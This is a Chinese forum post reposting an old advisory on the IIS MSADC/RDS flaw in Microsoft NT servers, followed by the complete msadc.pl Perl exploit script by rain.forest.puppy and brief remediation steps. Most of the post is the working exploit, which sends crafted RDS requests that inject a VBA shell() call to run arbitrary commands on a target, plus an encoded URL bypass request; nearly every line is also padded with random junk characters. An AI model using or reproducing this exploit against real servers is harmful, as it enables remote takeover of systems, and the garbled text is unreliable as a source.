社区应用 最新帖子 精华区 社区服务 会员列表 统计排行 社区论坛任务 迷你宠物
  • 167551阅读
  • 1回复

IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷)

级别: 大掌柜
发帖
7343
铜板
6618
人品值
1388
贡献值
28
交易币
100
好评度
7488
信誉值
10
金币
0
所在楼道
学一楼
IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷) GnHf9 JrR  
R}mWHB_h"  
涉及程序: VTkT4C@I;Y  
Microsoft NT server `)_FO]m}jS  
d~s-;T  
描述: *wl_8Sis}  
1个NT的重大漏洞造成全世界大约1/4的NT server可以被入侵者获取最高权限 <^$b1<@  
9 CSz<[  
详细: fC:\Gh5  
如果你没有时间读详细内容的话,就删除: XSIO0ep  
c:\Program Files\Common Files\System\Msadc\msadcs.dll 9K_HcLO%y  
有关的安全问题就没有了。 $w}aX0dK&  
, Vr6  
微软对关于Msadc的问题发了三次以上的补丁,仍然存在问题。 JugQ +0  
m/c~2?-;  
1、第一次补丁,基本上,其安全问题是MS Jet 3.5造成的,它允许调用VBA shell()函数,这将允许入侵者远程运行shell指令。 _E-GHj>k z  
关于利用ODBC远程漏洞的描述,请参看: lw lW.C  
::t !W7W  
http://www.cnns.net/frankie/mirror/nttoolz/ntpipe.htm qoq<dCt3  
AYtcN4\/  
2、IIS 4.0的缺省安装设置的是MDAC1.5,这个安装下有一个/msadc/msadcs.dll的文件,也允许通过web远程访问ODBC,获取系统的控制权,这点在很多黑客论坛都讨论过,请参看 O$ oN1  
http://www.microsoft.com/security/bulletins/MS99-025faq.asp c'4 \F9  
e q.aN3KB"  
这里不再论述。 35\0g&  
gKEvgXOj  
3、如果web目录下的/msadc/msadcs.dll/可以访问,那么ms的任何补丁可能都没用,用类似: )7TTRL  
unB "dE  
/%6Dsadc/%6Dsadcs.dll/V%62BusO%62j.V%62BusO%62jCls.GetRecordset W# /Ol59  
的请求,就可以绕过安全机制进行非法的VbBusObj请求,从而达到入侵的目的。 下面的代码仅供测试,严禁用于非法用途,否则后果自负!!! @ uWD>(D  
8XE0 p7  
p#I1l2nE  
#将下面这段保存为txt文件,然后: "perl -x 文件名" &Vm[5XW  
ucO]&'hu:  
#!perl V)@scB|>,  
# "@Fxfd+Ot  
# MSADC/RDS 'usage' (aka exploit) script ?^0Z(<Arz  
# n*|-"'j  
# by rain.forest.puppy >l[N]CQ  
# nhxl#  
# Many thanks to Weld, Mudge, and Dildog from l0pht for helping me 'f!Jh<i  
# beta test and find errors! rJxT)bR  
e$h\7i:(  
use Socket; use Getopt::Std; Ke!O^zP92  
getopts("e:vd:h:XR", \%args); :@L5=2Z+  
n*uZ=M_/Q  
print "-- RDS exploit by rain forest puppy / ADM / Wiretrip --\n"; _E 8SX v  
 #pK)  
if (!defined $args{h} && !defined $args{R}) { _u!G 6   
print qq~ NoIdO/vy"  
Usage: msadc.pl -h <host> { -d <delay> -X -v } x]M1UBnMN  
-h <host> = host you want to scan (ip or domain) gA*zFhGVS7  
-d <seconds> = delay between calls, default 1 second w[_Uv4M  
-X = dump Index Server path table, if available ^6n]@4P  
-v = verbose 5sUnEHN  
-e = external dictionary file for step 5 bvKi0-  
pq`MO .R  
Or a -R will resume a command session CSs6Vm!=  
>a K&T"  
~; exit;} $P~a   
AJ}Q,E  
$ip=$args{h}; $clen=0; $reqlen=0; $|=1; $target=""; T@XiG:b7  
if (defined $args{v}) { $verbose=1; } else {$verbose=0;} CaMG$X&O  
if (defined $args{d}) { $delay=$args{d};} else {$delay=1;} l@ K<p  
if(!defined $args{R}){ $ip.="." if ($ip=~/[a-z]$/); l+,rc*-j0  
$target= inet_aton($ip) || die("inet_aton problems; host doesn't exist?");} ySZ)yT  
if (defined $args{X} && !defined $args{R}) { &hork_idx; exit; } [%y D,8  
Dr<Bd;)  
if (!defined $args{R}){ $ret = &has_msadc; 8Sa<I .l  
die("Looks like msadcs.dll doesn't exist\n")if $ret==0} `pr,lL  
C 0wq  
print "Please type the NT commandline you want to run (cmd /c assumed):\n" hGLBFe#3  
. "cmd /c "; i\b2P2 `B  
$in=<STDIN>; chomp $in; :gn!3P}p?  
$command="cmd /c " . $in ; gB#t"s)  
4P5wEqU.<  
if (defined $args{R}) {&load; exit;} g=wnly  
Q]C1m<x  
print "\nStep 1: Trying raw driver to btcustmr.mdb\n"; X-)6.[9f  
&try_btcustmr; I nk76-  
M'sJ5;^5  
print "\nStep 2: Trying to make our own DSN..."; 191)JWfa  
&make_dsn ? print "<<success>>\n" : print "<<fail>>\n"; ;pJ7k23(  
KAGq\7  
print "\nStep 3: Trying known DSNs..."; M*Xzr .6  
&known_dsn; FqySnrJQ  
W=drp>Uj  
print "\nStep 4: Trying known .mdbs..."; +9t@eHJT1  
&known_mdb; pmZr<xs   
vnE,}(M  
if (defined $args{e}){ 4I$#R  
print "\nStep 5: Trying dictionary of DSN names..."; sE% n=Ww  
&dsn_dict; } else { "\nNo -e; Step 5 skipped.\n\n"; } ,fbO}  
b1+Nm  
print "Sorry Charley...maybe next time?\n"; 6k-]2,\#  
exit; TSeAC[%pL  
3JwmLGj}  
############################################################################## TX;|g1K  
y9 "!ys  
sub sendraw { # ripped and modded from whisker Xv9C D  
sleep($delay); # it's a DoS on the server! At least on mine... &Ef'5  
my ($pstr)=@_; V'8 (}(s/  
socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) || ke0Vy(3t{h  
die("Socket problems\n"); C M(g4fh  
if(connect(S,pack "SnA4x8",2,80,$target)){ n']@Spm  
select(S); $|=1; r~X6qC  
print $pstr; my @in=<S>; C]}0h!_V  
select(STDOUT); close(S); x9a0J1Nb-h  
return @in; *<KY^;  
} else { die("Can't connect...\n"); }} xf|=n  
*%8dW  
############################################################################## R]dc(D  
r*$KF!-dg  
sub make_header { # make the HTTP request l#Iof)@#  
my $msadc=<<EOT -k'=s{iy  
POST /msadc/msadcs.dll/AdvancedDataFactory.Query HTTP/1.1 7l?-2I'c  
User-Agent: ACTIVEDATA o9JJ_-O"  
Host: $ip F4*f_lP  
Content-Length: $clen r]TeR$NJ  
Connection: Keep-Alive Yk }zN_v  
| r2'B  
ADCClientVersion:01.06 $uboOfS83G  
Content-Type: multipart/mixed; boundary=!ADM!ROX!YOUR!WORLD!; num-args=3 a XwFQ,  
UJO+7h'  
--!ADM!ROX!YOUR!WORLD! OA[w|Tt  
Content-Type: application/x-varg !r$/-8b  
Content-Length: $reqlen )V3G~p=0  
KY@k4S+  
EOT bBGLf)fsTG  
; $msadc=~s/\n/\r\n/g; /Z-|E  
return $msadc;} g8^$,  
g=b 'T-  
############################################################################## VEJ Tw  
/6g*WX2P1  
sub make_req { # make the RDS request @A g=2\9  
my ($switch, $p1, $p2)=@_; ,w c|YI)E  
my $req=""; my $t1, $t2, $query, $dsn; M>-x\[n+  
(Ys 0|I3  
if ($switch==1){ # this is the btcustmr.mdb query "zfy_h  
$query="Select * from Customers where City=" . make_shell(); uV{cvq$jy  
$dsn="driver={Microsoft Access Driver (*.mdb)};dbq=" . ktnsq&qNL  
$p1 . ":\\" . $p2 . "\\help\\iis\\htm\\tutorial\\btcustmr.mdb;";} s %/3X\_  
~|riFp=J  
elsif ($switch==2){ # this is general make table query '(=krM9;  
$query="create table AZZ (B int, C varchar(10))"; fi`*r\  
$dsn="$p1";} kz]qk15w  
ONg_3vD{  
elsif ($switch==3){ # this is general exploit table query dQTJC %]O  
$query="select * from AZZ where C=" . make_shell(); t '* L,  
$dsn="$p1";} .- uH ax0  
K%)u zP  
elsif ($switch==4){ # attempt to hork file info from index server _A1r6  
$query="select path from scope()"; |G } qY5_  
$dsn="Provider=MSIDXS;";} A(ql}cr  
bt"*@NJ$  
elsif ($switch==5){ # bad query <t\!g  
$query="select"; Sw%^&*J  
$dsn="$p1";} >E6w,Ab  
5V]!xi  
$t1= make_unicode($query); 0.qnbDw_  
$t2= make_unicode($dsn); \'x. DVp  
$req = "\x02\x00\x03\x00"; i1}Y;mj  
$req.= "\x08\x00" . pack ("S1", length($t1)); XC%u`UG  
$req.= "\x00\x00" . $t1 ; 7 wH9w  
$req.= "\x08\x00" . pack ("S1", length($t2)); qYF150  
$req.= "\x00\x00" . $t2 ; Sjv_% C $  
$req.="\r\n--!ADM!ROX!YOUR!WORLD!--\r\n"; 90X<Qs  
return $req;} _ 5n Lrn,~  
LB$#] Z  
############################################################################## !E#FzY!}Pl  
f@rR2xZoQ  
sub make_shell { # this makes the shell() statement "w7wd5h  
return "'|shell(\"$command\")|'";} 9=TjSRS  
rv ouE:  
############################################################################## 8`Ih> D c  
4c0 =\v  
sub make_unicode { # quick little function to convert to unicode g:8k,1y5  
my ($in)=@_; my $out; eaB6e@]@  
for ($c=0; $c < length($in); $c++) { $out.=substr($in,$c,1) . "\x00"; } fAYp\ k  
return $out;} 3qggdi  
wN Mf-~  
############################################################################## rrz^LD  
> >%m,F[  
sub rdo_success { # checks for RDO return success (this is kludge) oR[-F+__  
my (@in) = @_; my $base=content_start(@in); M-7^\wXTA  
if($in[$base]=~/multipart\/mixed/){ F}MjZZj(U=  
return 1 if( $in[$base+10]=~/^\x09\x00/ );} r^zra|]  
return 0;} dT?mMTKn+  
t.X8c/,;g  
############################################################################## DXyRNE<G[C  
&1 t84p:^=  
sub make_dsn { # this makes a DSN for us Zmx[:-  
my @drives=("c","d","e","f"); "d"6.ND  
print "\nMaking DSN: "; 0Sx$6:-~  
foreach $drive (@drives) { %/.yGAPkx  
print "$drive: "; Dqu?mg;L  
my @results=sendraw("GET /scripts/tools/newdsn.exe?driver=Microsoft\%2B" . Yc^;?n`x  
"Access\%2BDriver\%2B\%28*.mdb\%29\&dsn=wicca\&dbq=" ]Ub"NLYV  
. $drive . "\%3A\%5Csys.mdb\&newdb=CREATE_DB\&attr= HTTP/1.0\n\n"); gUGMoXSTI|  
$results[0]=~m#HTTP\/([0-9\.]+) ([0-9]+) ([^\n]*)#;  9q[ d?1  
return 0 if $2 eq "404"; # not found/doesn't exist ? R!Pf: t  
if($2 eq "200") { SR>(GQ,m0;  
foreach $line (@results) { ze"`5z26|  
return 1 if $line=~/<H2>Datasource creation successful<\/H2>/;}} '"C& dia  
} return 0;} kltorlH  
4LXC;gZ  
############################################################################## %1\~OnT  
o#uhPUZ  
sub verify_exists { SiLWy=qbR  
my ($page)=@_; k|4}Do%;  
my @results=sendraw("GET $page HTTP/1.0\n\n"); %t*KP=@  
return $results[0];} fL(_V/p^  
rczwxWK  
############################################################################## 'r'+$D7  
-[}AhNYK  
sub try_btcustmr { \ORE;pG  
my @drives=("c","d","e","f"); NjFlV(XT}  
my @dirs=("winnt","winnt35","winnt351","win","windows"); j6GR-WQ]t  
ak_n  
foreach $dir (@dirs) { sq_ yu(  
print "$dir -> "; # fun status so you can see progress 7hlzuZob+y  
foreach $drive (@drives) { X?7s  
print "$drive: "; # ditto @HQqHO&N  
$reqlen=length( make_req(1,$drive,$dir) ) - 28; eWOZC(I*z  
$reqlenlen=length( "$reqlen" ); tq=7HM  
$clen= 206 + $reqlenlen + $reqlen; &8HJ4Vj2  
?>Bt|[p:s)  
my @results=sendraw(make_header() . make_req(1,$drive,$dir)); `3^%ft~l  
if (rdo_success(@results)){print "Success!\n";save(1,1,$drive,$dir);exit;} q|_Cj]{  
else { verbose(odbc_error(@results)); funky(@results);}} print "\n";}} 9]gV#uF  
&ox5eX(  
############################################################################## ffy,ds_7  
<YAs0  
sub odbc_error { ,l#f6H7p  
my (@in)=@_; my $base; Dc9Fb^]QOG  
my $base = content_start(@in); wvI}|c  
if($in[$base]=~/application\/x-varg/){ # it *SHOULD* be this QE6L_\l  
$in[$base+4]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; 04c`7[  
$in[$base+5]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; vhrURY.  
$in[$base+6]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; uQl=?0 85  
return $in[$base+4].$in[$base+5].$in[$base+6];} | MXRNA~  
print "\nNON-STANDARD error. Please sent this info to rfp\@wiretrip.net:\n"; |@rYh-5  
print "$in : " . $in[$base] . $in[$base+1] . $in[$base+2] . $in[$base+3] . ._p^0UxT  
$in[$base+4] . $in[$base+5] . $in[$base+6]; exit;} U]Fnf?(  
#]2,1dJ  
############################################################################## OouR4  
IAd[_<9D  
sub verbose { a?X #G/)  
my ($in)=@_; ]t-B-(D  
return if !$verbose; @4wN-T+1  
print STDOUT "\n$in\n";} ~}Z'/ zCZf  
\|7Y"WEQ  
############################################################################## ;HmQRiCg  
`L @`l  
sub save { eY\!}) 5  
my ($p1, $p2, $p3, $p4)=@_; YR.f`-<Z  
open(OUT, ">rds.save") || print "Problem saving parameters...\n"; YH3[Jvzf4  
print OUT "$ip\n$p1\n$p2\n$p3\n$p4\n"; to#T+d.(v  
close OUT;} tC&jzN"  
%(~8a  
############################################################################## $yZ(ws  
sf,9Ym  
sub load { !}J19]\  
my @p; my $drvst="driver={Microsoft Access Driver (*.mdb)}; dbq="; ^ 20x\K  
open(IN,"<rds.save") || die("Couldn't open rds.save\n"); m8 Ti{w(  
@p=<IN>; close(IN); ;f[@zo><r  
$ip="$p[0]"; $ip=~s/\n//g; $ip.="." if ($ip=~/[a-z]$/); 9=G dj!L  
$target= inet_aton($ip) || die("inet_aton problems"); (h27SLYm  
print "Resuming to $ip ..."; JT*Pm"}  
$p[3]="$p[3]"; $p[3]=~s/\n//g; $p[4]="$p[4]"; $p[4]=~s/\n//g; sx][X itR+  
if($p[1]==1) { &\Yd)#B/  
$reqlen=length( make_req(1,"$p[3]","$p[4]") ) - 28; 9S{?@*V  
$reqlenlen=length( "$reqlen" ); $clen= 206 + $reqlenlen + $reqlen; EK}QjY[i  
my @results=sendraw(make_header() . make_req(1,"$p[3]","$p[4]")); '?b.t2  
if (rdo_success(@results)){print "Success!\n";} KDYyLkI dr  
else { print "failed\n"; verbose(odbc_error(@results));}} {ud^+I&  
elsif ($p[1]==3){ 1#jvr_ ga  
if(run_query("$p[3]")){ n$jf($*  
print "Success!\n";} else { print "failed\n"; }} etL)T":XV  
elsif ($p[1]==4){ 0u8(*?  
if(run_query($drvst . "$p[3]")){ f/e2td*A  
print "Success!\n"; } else { print "failed\n"; }} uH8`ipX  
exit;} v QL)I  
J!*Pg<  
############################################################################## E']Gh  
Wg5i#6y8w  
sub create_table { ATf{;S}  
my ($in)=@_; g<PdiVp+  
$reqlen=length( make_req(2,$in,"") ) - 28; <=&7*8u0+  
$reqlenlen=length( "$reqlen" ); ;@I}eZ,f$  
$clen= 206 + $reqlenlen + $reqlen; U4,hEnJBT  
my @results=sendraw(make_header() . make_req(2,$in,"")); z,/y2H2  
return 1 if rdo_success(@results); RYKV?f#[H  
my $temp= odbc_error(@results); verbose($temp); b}jLI_R{  
return 1 if $temp=~/Table 'AZZ' already exists/; `-)Fx<e  
return 0;} e3{L%rQE  
pI{s )|"  
############################################################################## -~ ycr[}x  
/pDI \]  
sub known_dsn { c}g:vh  
# we want 'wicca' first, because if step 2 made the DSN, it's ready to go _\2^s&iJh  
my @dsns=("wicca", "AdvWorks", "pubs", "CertSvr", "CFApplications", N3g?gb"Ex)  
"cfexamples", "CFForums", "CFRealm", "cfsnippets", "UAM", =Pg u?WU@  
"banner", "banners", "ads", "ADCDemo", "ADCTest"); QprzlxB  
4C_-MJI  
foreach $dSn (@dsns) { Y4dTv<=K@i  
print "."; 6Bfu89  
next if (!is_access("DSN=$dSn")); ?#X`Eu  
if(create_table("DSN=$dSn")){ ^, KN@  
print "$dSn successful\n"; ?W"9G0hTqM  
if(run_query("DSN=$dSn")){ iXDQ2&gE*  
print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else { ';?b99  
print "Something's borked. Use verbose next time\n";}}} print "\n";} er0ClvB  
?OPAf4h  
############################################################################## $W;IW$  
6axm H~_  
sub is_access { !j.jvI%e;  
my ($in)=@_; WtTwY8HC  
$reqlen=length( make_req(5,$in,"") ) - 28; weiqt *,8  
$reqlenlen=length( "$reqlen" ); #UH7z 4u  
$clen= 206 + $reqlenlen + $reqlen; ?$^qcpJCp  
my @results=sendraw(make_header() . make_req(5,$in,"")); ~f2zMTI|  
my $temp= odbc_error(@results); hOx">yki  
verbose($temp); return 1 if ($temp=~/Microsoft Access/); l<$c.GgFd  
return 0;} +xlxhF  
@kKmkVhu*  
############################################################################## a;`-LOO5&  
:/IcFU~)M  
sub run_query { W+~ w  
my ($in)=@_; 5i$~1ZC  
$reqlen=length( make_req(3,$in,"") ) - 28; +mT}};-TS  
$reqlenlen=length( "$reqlen" ); VBssn]w  
$clen= 206 + $reqlenlen + $reqlen; w%k)J{\  
my @results=sendraw(make_header() . make_req(3,$in,"")); tH"SOGfSt  
return 1 if rdo_success(@results); Sn/~R|3XA7  
my $temp= odbc_error(@results); verbose($temp); ${ ~UA 6  
return 0;} j]<T\O>t>  
bkl'0 p  
##############################################################################  v|Tg %  
VmkYl$WZo  
sub known_mdb { ys;e2xekg  
my @drives=("c","d","e","f","g"); v[6BESu  
my @dirs=("winnt","winnt35","winnt351","win","windows"); D.<CkD B  
my $dir, $drive, $mdb; ;NRT a*  
my $drv="driver={Microsoft Access Driver (*.mdb)}; dbq="; iEki<e/  
Hk\+;'PrN  
# this is sparse, because I don't know of many XI\aZ\v  
my @sysmdbs=( "\\catroot\\icatalog.mdb", Md {,@ G  
"\\help\\iishelp\\iis\\htm\\tutorial\\eecustmr.mdb", h ;5 -X7  
"\\system32\\certmdb.mdb", jl2nRo  
"\\system32\\certlog\\certsrv.mdb" ); #these are %systemroot% KX)xCR~  
@6$r| :]G-  
my @mdbs=( "\\cfusion\\cfapps\\cfappman\\data\\applications.mdb", uPV,-rm[F_  
"\\cfusion\\cfapps\\forums\\forums_.mdb", ;?2vW8{p<  
"\\cfusion\\cfapps\\forums\\data\\forums.mdb", Ytx+7OLe  
"\\cfusion\\cfapps\\security\\realm_.mdb", J6 [x(T  
"\\cfusion\\cfapps\\security\\data\\realm.mdb", G"TPu _g  
"\\cfusion\\database\\cfexamples.mdb", @\!wW-:A  
"\\cfusion\\database\\cfsnippets.mdb", 7"xd'\c@  
"\\inetpub\\iissamples\\sdk\\asp\\database\\authors.mdb", #G.3a]p}"  
"\\progra~1\\common~1\\system\\msadc\\samples\\advworks.mdb", i? AZ|Ha[  
"\\cfusion\\brighttiger\\database\\cleam.mdb", 0v0Y( Mo@  
"\\cfusion\\database\\smpolicy.mdb", ?GFxJ6!%I  
"\\cfusion\\database\cypress.mdb", $hSu~}g  
"\\progra~1\\ableco~1\\ablecommerce\\databases\\acb2_main1.mdb", R C (v#G  
"\\website\\cgi-win\\dbsample.mdb", 31>k3IP&  
"\\perl\\prk\\bookexamples\\modsamp\\database\\contact.mdb", -t6d`p;dR  
"\\perl\\prk\\bookexamples\\utilsamp\\data\\access\\prk.mdb" p!aeL}g`  
); #these are just Pz|qy,  
foreach $drive (@drives) { &"tce6&  
foreach $dir (@dirs){ "}SERC7  
foreach $mdb (@sysmdbs) { D?\K~U* >  
print "."; +X*`}-3  
if(create_table($drv . $drive . ":\\" . $dir . $mdb)){ j 5'Jp}  
print "\n" . $drive . ":\\" . $dir . $mdb . " successful\n"; 4E |6l  
if(run_query($drv . $drive . ":\\" . $dir . $mdb)){ kw-/h+lG  
print "Success!\n"; save (4,4,$drive . ":\\" . $dir . $mdb,""); exit; 3Gp4%UT&  
} else { print "Something's borked. Use verbose next time\n"; }}}}} &vMH AZd  
M?cKt.t  
foreach $drive (@drives) { iQ9#gPk_9  
foreach $mdb (@mdbs) { kmc9P&  
print "."; BXfaqYb;Q  
if(create_table($drv . $drive . $dir . $mdb)){ ;2@sn+@  
print "\n" . $drive . $dir . $mdb . " successful\n"; j^%i?BWw  
if(run_query($drv . $drive . $dir . $mdb)){ 3yKI2en"  
print "Success!\n"; save (4,4,$drive . $dir . $mdb,""); exit; rd,mbH[<C  
} else { print "Something's borked. Use verbose next time\n"; }}}} Ox~'w0c,f  
} T![K i  
W;N/Y3Lb  
############################################################################## jujx3rnK?  
F7;xf{n<  
sub hork_idx { +1)C&:  
print "\nAttempting to dump Index Server tables...\n"; b<F 4_WF  
print " NOTE: Sometimes this takes a while, other times it stalls\n\n"; KV5lpN PC  
$reqlen=length( make_req(4,"","") ) - 28; T?\CAk>  
$reqlenlen=length( "$reqlen" ); 7%E1F)%  
$clen= 206 + $reqlenlen + $reqlen; H~ZSw7!M8  
my @results=sendraw2(make_header() . make_req(4,"","")); k( g$_ ]X  
if (rdo_success(@results)){ i9xv`Ev=R  
my $max=@results; my $c; my %d; ]Qu12Wg}P  
for($c=19; $c<$max; $c++){ '!.;(Jo  
$results[$c]=~s/\x00//g; tH'VV-!MZ  
$results[$c]=~s/[^a-zA-Z0-9:~ \\\._]{1,40}/\n/g; ^z^>]Qd  
$results[$c]=~s/[^a-zA-Z0-9:~ \\\._\n]//g; Y=rr6/k  
$results[$c]=~/([a-zA-Z]\:\\)([a-zA-Z0-9 _~\\]+)\\/; Iv<9} )2K  
$d{"$1$2"}="";} qXI30Yo#d  
foreach $c (keys %d){ print "$c\n"; } t~M<j| ]k  
} else {print "Index server doesn't seem to be installed.\n"; }} $1?X%8V  
!X8UP{J)L  
############################################################################## 5i^vN"J  
iCK$ o_`?  
sub dsn_dict { xI<dBg|]+  
open(IN, "<$args{e}") || die("Can't open external dictionary\n"); `e9uSF:9C  
while(<IN>){ >1~`tP  
$hold=$_; $hold=~s/[\r\n]//g; $dSn="$hold"; print "."; W<LaR,7  
next if (!is_access("DSN=$dSn")); # 0!IUSa  
if(create_table("DSN=$dSn")){ cLU*Tx\  
print "$dSn successful\n"; d>`(.qvxR  
if(run_query("DSN=$dSn")){ {^f0RGJg9  
print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else { v 2GhR*  
print "Something's borked. Use verbose next time\n";}}} |d5L Ifb(  
print "\n"; close(IN);} ,jnRt%W  
w Y. g- 3  
############################################################################## S <_pGz$V  
0X?fDz}jd  
sub sendraw2 { # ripped and modded from whisker .O#lab`:2  
sleep($delay); # it's a DoS on the server! At least on mine... D%idlL2%J  
my ($pstr)=@_; I7PWO d  
socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) || ]'h)7  
die("Socket problems\n"); J3x7i8  
if(connect(S,pack "SnA4x8",2,80,$target)){ lDU:EJ&DHE  
print "Connected. Getting data"; 1Kh?JH  
open(OUT,">raw.out"); my @in; B%@!\ D#  
select(S); $|=1; print $pstr; nh=Us^xD  
while(<S>){ print OUT $_; push @in, $_; print STDOUT ".";} )t0b$<%  
close(OUT); select(STDOUT); close(S); return @in; |2<f<k/UT  
} else { die("Can't connect...\n"); }} 'TrrOq4  
R{o*O_qX  
############################################################################## r65NKiQD  
*Z`eNz}  
sub content_start { # this will take in the server headers g yQ9Z}  
my (@in)=@_; my $c; ,A!e"=HF  
for ($c=1;$c<500;$c++) { j& o+KV  
if($in[$c] =~/^\x0d\x0a/){ c '+r[rSn1  
if ($in[$c+1]=~/^HTTP\/1.[01] [12]00/) { $c++; } {}o>ne nx\  
else { return $c+1; }}} &E &iaw!  
return -1;} # it should never get here actually JGDUCb~  
C)96/k  
############################################################################## '(pd k  
K2rS[Kdfaq  
sub funky { j'*p  
my (@in)=@_; my $error=odbc_error(@in); '>|*j"jv-  
if($error=~/ADO could not find the specified provider/){ [a)~Dui0@\  
print "\nServer returned an ADO miscofiguration message\nAborting.\n"; a61eH )a  
exit;} !$xEX,vj|W  
if($error=~/A Handler is required/){ 3d'ikkXK  
print "\nServer has custom handler filters (they most likely are patched)\n"; w52HN;Jm  
exit;} D^s0EW-E  
if($error=~/specified Handler has denied Access/){ <oaBh)=7  
print "\nServer has custom handler filters (they most likely are patched)\n"; 9;Pu9s[q2  
exit;}} &/hr-5k  
Omh&)|Iql  
############################################################################## :$cSQ(q9a  
7x7r!rSe,  
sub has_msadc { ]6%%X+$7  
my @results=sendraw("GET /msadc/msadcs.dll HTTP/1.0\n\n"); d)GkXll1D  
my $base=content_start(@results); fA M4Q  
return 1 if($results[$base]=~/Content-Type: application\/x-varg/); {.D2ON  
return 0;} "">fn(  
Cb%.C;q  
######################## ;Jbc'V'fm  
?J@?,rZQ^V  
~\:j9cC  
解决方案: h [|zs>p  
1、移除c:\Program Files\Common Files\System\Msadc\msadcs.dll d+m6-4[_k  
2、移除web 目录: /msadc
评价一下你浏览此帖子的感受

精彩

感动

搞笑

开心

愤怒

无聊

灌水
级别: 大掌柜
发帖
7343
铜板
6618
人品值
1388
贡献值
28
交易币
100
好评度
7488
信誉值
10
金币
0
所在楼道
学一楼
只看该作者 1 发表于: 2006-06-30
很老的一篇文章 Bsu=^z  
Dmm r]~  
拿出来充数 哈哈
描述
快速回复

您目前还是游客,请 登录注册
批量上传需要先选择文件,再选择上传
认证码:
验证问题:
3+5=?,请输入中文答案:八 正确答案:八